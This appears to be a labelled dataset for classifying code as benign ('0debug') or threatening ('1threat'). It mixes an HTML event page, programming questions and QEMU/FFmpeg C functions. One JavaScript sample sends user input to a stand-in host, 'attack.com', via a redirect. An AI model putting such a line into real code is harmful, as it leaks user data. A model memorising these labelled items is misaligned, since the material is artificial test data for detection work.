data-transition="fade" data-slotamount="1" data-masterspeed="1000" data-thumb="images/main-slider/image-9.jpg" data-saveperformance="off" data-title="Jayme Monjardim"&gt; &lt;img src="images/main-slider/image-9.jpg" alt="" data-bgposition="center top" data-bgfit="cover" data-bgrepeat="no-repeat"&gt; &lt;div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="55" data-y="center" data-voffset="-200" data-speed="1500" data-start="500" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="big-title"&gt;&lt;h2&gt;Jayme Monjardim&lt;br /&gt;Diretor Artístico&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt; &lt;!--div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="670" data-y="center" data-voffset="-170" data-speed="1500" data-start="1000" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h3&gt;Ganhador do Emmy Internacional pela obra &lt;br /&gt;&lt;strong&gt;Verdades Secretas&lt;/strong&gt; e autor da próxima &lt;br /&gt;novela das 21h da Rede Globo&lt;/h3&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div--&gt; &lt;!--div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="115" data-y="center" data-voffset="15" data-speed="1500" data-start="1000" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h3&gt; Os palestrantes walcyr carrasco e Mauro Mendonça Filho &lt;br /&gt;não tem nenhuma ligação com os testes das séries &lt;br /&gt;nos dias 20 e 21 de maio &lt;/h3&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="115" data-y="center" data-voffset="15" data-speed="1500" data-start="1000" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h3&gt; Teste de elenco para as séries "Geração Digital" e &lt;br /&gt;"Relações" nos dias 20 e 21 de maio. &lt;/h3&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div--&gt; &lt;/li&gt; &lt;li data-transition="fade" data-slotamount="1" data-masterspeed="1000" data-thumb="images/main-slider/image-10.jpg" data-saveperformance="off" data-title="Duca Rachid"&gt; &lt;img src="images/main-slider/image-10.jpg" alt="" data-bgposition="center top" data-bgfit="cover" data-bgrepeat="no-repeat"&gt; &lt;!--div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="525" data-y="center" data-voffset="-120" data-speed="1500" data-start="1000" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h3&gt;Diretor de Núcleo ganhador de dois Emmys Internacional&lt;br /&gt; pelas obras &lt;strong&gt;Verdades Secretas e O Astro&lt;/strong&gt;, diretor &lt;br /&gt;da próxima novela das 21h da Rede Globo&lt;/h3&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div--&gt; &lt;!--div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="525" data-y="center" data-voffset="-05" data-speed="1500" data-start="1000" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h3&gt; Os palestrantes walcyr carrasco e Mauro Mendonça Filho &lt;br /&gt;não tem nenhuma ligação com os testes das séries &lt;br /&gt;nos dias 20 e 21 de maio &lt;/h3&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="525" data-y="center" data-voffset="-05" data-speed="1500" data-start="1000" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h3&gt; Teste de elenco para as séries "Geração Digital" e &lt;br /&gt;"Relações" nos dias 20 e 21 de maio. &lt;/h3&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div--&gt; &lt;/li&gt; &lt;li data-transition="fade" data-slotamount="1" data-masterspeed="1000" data-thumb="images/main-slider/image-4.jpg" data-saveperformance="off" data-title="Fátima Toledo"&gt; &lt;img src="images/main-slider/image-4.jpg" alt="" data-bgposition="center top" data-bgfit="cover" data-bgrepeat="no-repeat"&gt; &lt;div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="15" data-y="center" data-voffset="-220" data-speed="1500" data-start="500" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="big-title"&gt;&lt;h2&gt;Fátima Toledo&lt;br /&gt;Preparadora de Elenco&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class="tp-caption lfb tp-resizeme voot2" data-x="left" data-hoffset="05" data-y="center" data-voffset="-110" data-speed="1500" data-start="1500" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="links"&gt;&lt;a class="btn btn-primary btn-lg" href="fatima.html" role="button"&gt;SAIBA MAIS&lt;/a&gt;&lt;/div&gt;&lt;/div--&gt; &lt;!--div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="15" data-y="center" data-voffset="-20" data-speed="1500" data-start="1000" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h3&gt; Teste de elenco para as séries "Geração Digital" e &lt;br /&gt;"Relações" nos dias 20 e 21 de maio. &lt;/h3&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="1160" data-y="center" data-voffset="180" data-speed="1500" data-start="1000" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h6&gt; A confirmar&lt;/h6&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div--&gt; &lt;/li&gt; &lt;li data-transition="fade" data-slotamount="1" data-masterspeed="1000" data-thumb="images/main-slider/image-1.jpg" data-saveperformance="off" data-title="Sergio Mattos"&gt; &lt;img src="images/main-slider/image-1.jpg" alt="" data-bgposition="center top" data-bgfit="cover" data-bgrepeat="no-repeat"&gt; &lt;div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="700" data-y="center" data-voffset="-200" data-speed="1500" data-start="500" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="big-title"&gt;&lt;h2&gt;Sergio Mattos &lt;br /&gt; Booker &lt;/h2&gt;&lt;/div&gt;&lt;/div&gt; &lt;!--div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="625" data-y="center" data-voffset="-80" data-speed="1500" data-start="1000" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h4&gt;A 40 Graus Models deu um novo passo, abrindo seu departamento &lt;br /&gt;de atores, hoje denominada DNArt com acompanhamento de&lt;br /&gt; carreira, assessoria de imprensa e estratégias de construção de&lt;br /&gt; imagem junto ao mercado, visando o lançamento de novos talentos &lt;br /&gt; no mundo da teledramaturgia, teatro e cinema.&lt;/h4&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div--&gt; &lt;div class="tp-caption lfb tp-resizeme voot2" data-x="left" data-hoffset="690" data-y="center" data-voffset="-100" data-speed="1500" data-start="1500" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="links"&gt;&lt;!--button type="button" class="theme-btn btn-style-one hvr-bounce-to-right" data-toggle="modal" data-target="#myModal"&gt;&lt;span class="fa fa-play"&gt;&lt;/span&gt;INSCRIÇÃO AQUI&lt;/button--&gt;&lt;a class="btn btn-primary btn-lg" href="sergio.html" role="button"&gt;SAIBA MAIS&lt;/a&gt; &lt;/div&gt;&lt;/div&gt; &lt;div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="700" data-y="center" data-voffset="-20" data-speed="1500" data-start="1000" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="slide-text"&gt;&lt;p&gt;&lt;h3&gt; Teste de elenco para as séries "Geração&lt;br /&gt; Digital" e "Relações" nos dias 20 e 21 de maio. &lt;/h3&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt; &lt;/li&gt; &lt;li data-transition="fade" data-slotamount="1" data-masterspeed="1000" data-thumb="images/main-slider/image-5.jpg" data-saveperformance="off" data-title="Guilherme Abreu"&gt; &lt;img src="images/main-slider/image-5.jpg" alt="" data-bgposition="center top" data-bgfit="cover" data-bgrepeat="no-repeat"&gt; &lt;div class="tp-caption lfb tp-resizeme" data-x="left" data-hoffset="5" data-y="center" data-voffset="-220" data-speed="1500" data-start="500" data-easing="easeOutExpo" data-splitin="none" data-splitout="none" data-elementdelay="0.01" data-endelementdelay="0.3" data-endspeed="1200" data-endeasing="Power4.easeIn" style="z-index: 4; max-width: auto; max-height: auto; white-space: nowrap;"&gt;&lt;div class="big-title"&gt;&lt;h2&gt;Guilherme Abreu&lt;br /&gt; Agente de atores&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt; &lt;/ul&gt; &lt;div class="tp-bannertimer"&gt;&lt;/div&gt;` &lt;/div&gt; &lt;/div&gt; &lt;/section &gt; &lt;/div&gt; &lt;/div&gt; &lt;/section&gt; &lt;!--Price Plans / Style Two--&gt; &lt;section id="inscricao" class="price-plans style-two"&gt; &lt;div class="auto-container"&gt; &lt;div class="sec-title wow fadeInUp" data-wow-delay="200ms" data-wow-duration="1000ms"&gt;&lt;h2&gt;Faça já sua inscrição&lt;/h2&gt;&lt;/div&gt; &lt;div class="sec-text wow fadeInUp" data-wow-delay="200ms" data-wow-duration="1000ms"&gt;&lt;p&gt;E garanta sua presença no Maior Networking de Atores e Modelos&lt;/p&gt;&lt;/div&gt; &lt;div class="row clearfix"&gt; &lt;!--Table Column--&gt; &lt;article class="col-md-4 col-sm-4 col-xs-12 table-column recommended wow fadeInUp" data-wow-delay="0ms" data-wow-duration="1500ms"&gt; &lt;div class="table-inner hvr-sweep-to-right"&gt; &lt;div class="clearfix"&gt; &lt;!--div class="half-column price"&gt; &lt;h4 class="amount"&gt;&lt;sup&gt;R$&lt;/sup&gt;1.800**&lt;/h4&gt; &lt;p&gt;ATÉ 24 Fevereiro*&lt;/p&gt; &lt;/div--&gt; &lt;div class="half-column list"&gt; &lt;h3&gt;Condições:&lt;/h3&gt; &lt;ul&gt; &lt;br /&gt; &lt;li&gt;Parcele em até 10x sem juros no pagseguro&lt;/li&gt; &lt;br /&gt; &lt;!--li&gt;6x no cartão&lt;/li&gt; &lt;br /&gt; &lt;li&gt;2x no boleto&lt;/li&gt; &lt;br /--&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="links"&gt; &lt;!--a class="theme-btn btn-style-one hvr-bounce-to-right" href="https://projetograndesmestres.lojavirtualnuvem.com.br/produtos/convencao-projeto-grandes-mestres-edicao-rio-de-janeiro/" role="button"&gt;&lt;span class="fa fa-play"&gt;&lt;/span&gt;COMPRAR CONVENÇÃO PGM&lt;/a&gt;&lt;/div&gt; &lt;!--button type="button" class="theme-btn btn-style-one hvr-bounce-to-right" data-toggle="modal" data-target="#myModal"&gt;&lt;span class="fa fa-play"&gt;&lt;/span&gt;INSCRIÇÃO AQUI&lt;/button--&gt; &lt;button type="button" class="theme-btn btn-style-one hvr-bounce-to-right" data-toggle="modal" data-target="#myModal"&gt;&lt;span class="fa fa-play"&gt;&lt;/span&gt;COMPRAR CONVENÇÃO PGM&lt;/button&gt; &lt;/div&gt; &lt;/article&gt; &lt;/div&gt; &lt;/div&gt; &lt;/section&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/article&gt; &lt;/div&gt; &lt;/div&gt; &lt;/section&gt; &lt;!--Intro Section--&gt; &lt;section class="intro-section" style="background-image:url(images/parallax/image-1.jpg);"&gt; &lt;div class="auto-container"&gt; &lt;div class="row clearfix"&gt; &lt;div class="col-md-8 col-sm-8 col-xs-12 text-content"&gt; &lt;h2&gt;O MAIOR NETWORK PARA ATORES E MODELOS&lt;/h2&gt; &lt;div class="text"&gt;Traga seu Vídeo Book e Fotos, teremos agências realizando cadastro nos dias 20 e 21.&lt;/div&gt; &lt;/div&gt; &lt;div class="col-md-4 col-sm-4 col-xs-12 text-right"&gt; &lt;div class="links"&gt; &lt;!--a class="theme-btn btn-style-one hvr-bounce-to-right" href="https://projetograndesmestres.lojavirtualnuvem.com.br/produtos/convencao-projeto-grandes-mestres-edicao-rio-de-janeiro/" role="button"&gt;&lt;span class="fa fa-play"&gt;&lt;/span&gt;COMPRAR CONVENÇÃO PGM&lt;/a&gt;&lt;/div--&gt; &lt;!-- Trigger the modal with a button --&gt; &lt;!--button type="button" class="theme-btn btn-style-one hvr-bounce-to-right" data-toggle="modal" data-target="#myModal"&gt;&lt;span class="fa fa-play"&gt;&lt;/span&gt;INSCRIÇÃO AQUI&lt;/button--&gt; &lt;button type="button" class="theme-btn btn-style-one hvr-bounce-to-right" data-toggle="modal" data-target="#myModal"&gt;&lt;span class="fa fa-play"&gt;&lt;/span&gt;COMPRAR CONVENÇÃO PGM&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/section&gt; &lt;!--Sponsors--&gt; &lt;section class="sponsors"&gt; &lt;div class="auto-container"&gt; &lt;ul class="slider"&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;img src="images/clients/logo1.jpg" alt="" title=""&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;img src="images/clients/logo2.jpg" alt="" title=""&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;img src="images/clients/logo3.jpg" alt="" title=""&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;img src="images/clients/logo5.jpg" alt="" title=""&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;img src="images/clients/logo6.jpg" alt="" title=""&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;img src="images/clients/logo7.jpg" alt="" title=""&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;&lt;img src="images/clients/logo8.jpg" alt="" title=""&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/section&gt; &lt;!--Main Footer--&gt; &lt;footer class="main-footer"&gt; &lt;!--Footer Upper--&gt; &lt;!--Footer Bottom--&gt; &lt;div class="footer-bottom"&gt; &lt;div class="auto-container"&gt; &lt;div class="row clearfix"&gt; &lt;div class="col-md-1 col-sm-1 col-xs-12 footer-logo"&gt;&lt;img src="images/resource/ana.png" class="img-responsive" alt=""&gt;&lt;/div&gt; &lt;div class="col-md-1 col-sm-1 col-xs-12 footer-logo"&gt;&lt;img src="images/resource/35mm2.png" class="img-responsive" alt=""&gt;&lt;/div&gt; &lt;div class="col-md-10 col-sm-10 col-xs-12 footer-logo loot"&gt;&amp;copy; 2017 PROJETO GRANDES MESTRES | Todos os direitos Reservados desenvolvido por&lt;a href="http://www.neevasoft.com" target="_blank"&gt; Neevasoft&lt;/a&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/footer&gt; &lt;/div&gt; &lt;!--End pagewrapper--&gt; &lt;!--Scroll to top--&gt; &lt;div class="scroll-to-top"&gt;&lt;/div&gt; &lt;script src="js/jquery.js"&gt;&lt;/script&gt; &lt;script src="js/bootstrap.min.js"&gt;&lt;/script&gt; &lt;!--script type="text/javascript"&gt; $(document).ready(function(){ $("#myModal").modal('show'); }); &lt;/script--&gt; &lt;script src="js/revolution.min.js"&gt;&lt;/script&gt; &lt;script src="js/bxslider.js"&gt;&lt;/script&gt; &lt;script src="js/owl.carousel.min.js"&gt;&lt;/script&gt; &lt;script src="js/jquery.fancybox.pack.js"&gt;&lt;/script&gt; &lt;script src="js/wow.js"&gt;&lt;/script&gt; &lt;script src="js/script.js"&gt;&lt;/script&gt; &lt;div class="container"&gt; &lt;div id="myModal" class="modal fade"&gt; &lt;div class="modal-dialog"&gt; &lt;!-- Modal content--&gt; &lt;div class="modal-content"&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal"&gt;&amp;times;&lt;/button&gt;&lt;br /&gt; &lt;h4 class="modal-title"&gt;Termos&lt;/h4&gt; &lt;/div&gt; &lt;div class="modal-body"&gt; &lt;div class="row clearfix"&gt; &lt;div class="col-md-12 col-sm-12 col-xs-12 contact-form wow fadeInUp" data-wow-delay="200ms" data-wow-duration="1500ms"&gt; &lt;!--Contact Form--&gt; &lt;form id="contact-form" method="post" action="enviar_inscricao.php"&gt; &lt;div class="row clearfix"&gt; &lt;div class="col-md-12 col-sm-12 col-xs-12"&gt; &lt;div class="form-group"&gt; &lt;div id="scroll" class="boot"&gt; &lt;strong&gt;ACEITO E CONCORDO&lt;/strong&gt; COM O TERMO ABAIXO, REGIDO PELAS SEGUINTES CLÁUSULAS E CONDIÇÕES: &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/form&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="modal-footer"&gt; &lt;a class="btn btn-primary btn-md" href="https://projetograndesmestres.lojavirtualnuvem.com.br/produtos/convencao-projeto-grandes-mestres-edicao-rio-de-janeiro/" role="button"&gt;Concordo&lt;/a&gt; &lt;button type="button" class="btn btn-default" data-dismiss="modal"&gt;Fechar&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; ​ &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
0debug
How to fade in part of a sentence? : <p>I'm trying to make the quotes at the beginning and end of a sentence fade in when someone clicks on a button. How can I make only the quotation marks to fade in instead of the whole sentence?</p>
0debug
How to remove the first dot from every line but only if it exists : <p>I have a list of subdomains and I want to remove any dot at the beginning of a line, if there is no dot at the beginning of the line, then it leaves that line untouched.</p> <p>Like this example:</p> <pre><code>x8.ext.indeed.com yk1.ext.indeed.com za.indeed.com zera.ext.indeed.com .envoy.eastus2.qa.notjet.net .envoy.westus.qa.notjet.net .nomad.eastus2.qa.notjet.net .nomad.westus.qa.notjet.net .notjet.net .torbit.notjet.net artifacts.notjet.net bamf.notjet.net bamfdb.notjet.net </code></pre>
0debug
static int raw_read_options(QDict *options, BlockDriverState *bs, BDRVRawState *s, Error **errp) { Error *local_err = NULL; QemuOpts *opts = NULL; int64_t real_size = 0; int ret; real_size = bdrv_getlength(bs->file->bs); if (real_size < 0) { error_setg_errno(errp, -real_size, "Could not get image size"); return real_size; } opts = qemu_opts_create(&raw_runtime_opts, NULL, 0, &error_abort); qemu_opts_absorb_qdict(opts, options, &local_err); if (local_err) { error_propagate(errp, local_err); ret = -EINVAL; goto end; } s->offset = qemu_opt_get_size(opts, "offset", 0); if (s->offset > real_size) { error_setg(errp, "Offset (%" PRIu64 ") cannot be greater than " "size of the containing file (%" PRId64 ")", s->offset, real_size); ret = -EINVAL; goto end; } if (qemu_opt_find(opts, "size") != NULL) { s->size = qemu_opt_get_size(opts, "size", 0); s->has_size = true; } else { s->has_size = false; s->size = real_size - s->offset; } if ((real_size - s->offset) < s->size) { error_setg(errp, "The sum of offset (%" PRIu64 ") and size " "(%" PRIu64 ") has to be smaller or equal to the " " actual size of the containing file (%" PRId64 ")", s->offset, s->size, real_size); ret = -EINVAL; goto end; } if (!QEMU_IS_ALIGNED(s->size, BDRV_SECTOR_SIZE)) { error_setg(errp, "Specified size is not multiple of %llu", BDRV_SECTOR_SIZE); ret = -EINVAL; goto end; } ret = 0; end: qemu_opts_del(opts); return ret; }
1threat
window.location.href = 'http://attack.com?user=' + user_input;
1threat
How to parse LocalTime with time-of-day abbreviation : What's the best way to show a `LocalTime` value based on the device? The United States is the only nation that exclusively uses the AM/PM time of day abbreviation but for some reason the abbreviation does not appear whenever my device locale is set to the United States. **United States** 2:30 AM / 2:30 PM **Elsewhere around the world** 02:30 / 14:30 **Current code** myTV.text = LocalTime.of(2, 30) + " " + LocalTime.of(14, 30) **Current result** 2:30 14:30
0debug
PPC_OP(btest_T1) { if (T0) { regs->nip = T1 & ~3; } else { regs->nip = PARAM1; } RETURN(); }
1threat
static int update_dimensions(VP8Context *s, int width, int height) { int i; if (avcodec_check_dimensions(s->avctx, width, height)) return AVERROR_INVALIDDATA; vp8_decode_flush(s->avctx); avcodec_set_dimensions(s->avctx, width, height); s->mb_width = (s->avctx->coded_width +15) / 16; s->mb_height = (s->avctx->coded_height+15) / 16; s->mb_stride = s->mb_width+1; s->b4_stride = 4*s->mb_stride; s->macroblocks_base = av_mallocz(s->mb_stride*(s->mb_height+1)*sizeof(*s->macroblocks)); s->intra4x4_pred_mode_base = av_mallocz(s->b4_stride*(4*s->mb_height+1)); s->top_nnz = av_mallocz(s->mb_width*sizeof(*s->top_nnz)); if (!s->macroblocks_base || !s->intra4x4_pred_mode_base || !s->top_nnz) return AVERROR(ENOMEM); s->macroblocks = s->macroblocks_base + 1 + s->mb_stride; s->intra4x4_pred_mode = s->intra4x4_pred_mode_base + 4 + s->b4_stride; memset(s->intra4x4_pred_mode_base, DC_PRED, s->b4_stride); for (i = 0; i < 4*s->mb_height; i++) s->intra4x4_pred_mode[i*s->b4_stride-1] = DC_PRED; return 0; }
1threat
Error response from daemon: Drive has not been shared : <p>In Windows 10, trying to mount an external volume in docker</p> <p><code>docker run --rm -v d:/data:/data alpine ls /data</code></p> <p>gives this error</p> <p><code>Error response from daemon: Drive has not been shared.</code></p>
0debug
ios Safari XMLHttpRequest cannot load due to access control checks : <p>I am trying to do a POST request with some multipart data, it works perfectly on every other browser and device that I have checked but on iOS Safari it does not work and gives these 3 errors:</p> <pre><code>Origin [URL HERE] is not allowed by Access-Control-Allow-Origin. Failed to load resource: Origin [URL HERE] is not allowed by Access-Control-Allow-Origin. XMLHttpRequest cannot load [URL HERE] due to access control checks. </code></pre> <p>On my server, I believe I have setup cors correctly.</p> <p>BTW, I am using the iOS Simulator and it does work on MacOS Safari</p> <p>Any ideas?</p>
0debug
static inline int mpeg1_decode_block_intra(MpegEncContext *s, int16_t *block, int n) { int level, dc, diff, i, j, run; int component; RLTable *rl = &ff_rl_mpeg1; uint8_t * const scantable = s->intra_scantable.permutated; const uint16_t *quant_matrix = s->intra_matrix; const int qscale = s->qscale; component = (n <= 3 ? 0 : n - 4 + 1); diff = decode_dc(&s->gb, component); if (diff >= 0xffff) return -1; dc = s->last_dc[component]; dc += diff; s->last_dc[component] = dc; block[0] = dc * quant_matrix[0]; av_dlog(s->avctx, "dc=%d diff=%d\n", dc, diff); i = 0; { OPEN_READER(re, &s->gb); for (;;) { UPDATE_CACHE(re, &s->gb); GET_RL_VLC(level, run, re, &s->gb, rl->rl_vlc[0], TEX_VLC_BITS, 2, 0); if (level == 127) { break; } else if (level != 0) { i += run; j = scantable[i]; level = (level * qscale * quant_matrix[j]) >> 4; level = (level - 1) | 1; level = (level ^ SHOW_SBITS(re, &s->gb, 1)) - SHOW_SBITS(re, &s->gb, 1); LAST_SKIP_BITS(re, &s->gb, 1); } else { run = SHOW_UBITS(re, &s->gb, 6) + 1; LAST_SKIP_BITS(re, &s->gb, 6); UPDATE_CACHE(re, &s->gb); level = SHOW_SBITS(re, &s->gb, 8); SKIP_BITS(re, &s->gb, 8); if (level == -128) { level = SHOW_UBITS(re, &s->gb, 8) - 256; LAST_SKIP_BITS(re, &s->gb, 8); } else if (level == 0) { level = SHOW_UBITS(re, &s->gb, 8) ; LAST_SKIP_BITS(re, &s->gb, 8); } i += run; j = scantable[i]; if (level < 0) { level = -level; level = (level * qscale * quant_matrix[j]) >> 4; level = (level - 1) | 1; level = -level; } else { level = (level * qscale * quant_matrix[j]) >> 4; level = (level - 1) | 1; } } if (i > 63) { av_log(s->avctx, AV_LOG_ERROR, "ac-tex damaged at %d %d\n", s->mb_x, s->mb_y); return -1; } block[j] = level; } CLOSE_READER(re, &s->gb); } s->block_last_index[n] = i; return 0; }
1threat
static int setup_partitions(VP8Context *s, const uint8_t *buf, int buf_size) { const uint8_t *sizes = buf; int i; s->num_coeff_partitions = 1 << vp8_rac_get_uint(&s->c, 2); buf += 3 * (s->num_coeff_partitions - 1); buf_size -= 3 * (s->num_coeff_partitions - 1); if (buf_size < 0) return -1; for (i = 0; i < s->num_coeff_partitions - 1; i++) { int size = AV_RL24(sizes + 3 * i); if (buf_size - size < 0) return -1; ff_vp56_init_range_decoder(&s->coeff_partition[i], buf, size); buf += size; buf_size -= size; } ff_vp56_init_range_decoder(&s->coeff_partition[i], buf, buf_size); return 0; }
1threat
Can a React-Redux app really scale as well as, say Backbone? Even with reselect. On mobile : <p>In Redux, every change to the store triggers a <code>notify</code> on all connected components. This makes things very simple for the developer, but what if you have an application with N connected components, and N is very large?</p> <p>Every change to the store, even if unrelated to the component, still runs a <code>shouldComponentUpdate</code> with a simple <code>===</code> test on the <code>reselect</code>ed paths of the store. That's fast, right? Sure, maybe once. But N times, for <em>every</em> change? This fundamental change in design makes me question the true scalability of Redux.</p> <p>As a further optimization, one can batch all <code>notify</code> calls using <code>_.debounce</code>. Even so, having N <code>===</code> tests for every store change <em>and</em> handling other logic, for example view logic, seems like a means to an end.</p> <p>I'm working on a health &amp; fitness social mobile-web hybrid application with millions of users and am transitioning from <strong>Backbone to Redux</strong>. In this application, a user is presented with a swipeable interface that allows them to navigate between different stacks of views, similar to Snapchat, except each stack has infinite depth. In the most popular type of view, an endless scroller efficiently handles the loading, rendering, attaching, and detaching of feed items, like a post. For an engaged user, it is not uncommon to scroll through hundreds or thousands of posts, then enter a user's feed, then another user's feed, etc. Even with heavy optimization, the number of connected components can get very large.</p> <p>Now on the other hand, Backbone's design allows every view to listen precisely to the models that affect it, reducing N to a constant.</p> <p>Am I missing something, or is Redux fundamentally flawed for a large app?</p>
0debug
static void coroutine_fn v9fs_rename(void *opaque) { int32_t fid; ssize_t err = 0; size_t offset = 7; V9fsString name; int32_t newdirfid; V9fsFidState *fidp; V9fsPDU *pdu = opaque; V9fsState *s = pdu->s; v9fs_string_init(&name); err = pdu_unmarshal(pdu, offset, "dds", &fid, &newdirfid, &name); if (err < 0) { goto out_nofid; } if (name_is_illegal(name.data)) { err = -ENOENT; goto out_nofid; } if (!strcmp(".", name.data) || !strcmp("..", name.data)) { err = -EISDIR; goto out_nofid; } fidp = get_fid(pdu, fid); if (fidp == NULL) { err = -ENOENT; goto out_nofid; } BUG_ON(fidp->fid_type != P9_FID_NONE); if (!(pdu->s->ctx.export_flags & V9FS_PATHNAME_FSCONTEXT)) { err = -EOPNOTSUPP; goto out; } v9fs_path_write_lock(s); err = v9fs_complete_rename(pdu, fidp, newdirfid, &name); v9fs_path_unlock(s); if (!err) { err = offset; } out: put_fid(pdu, fidp); out_nofid: pdu_complete(pdu, err); v9fs_string_free(&name); }
1threat
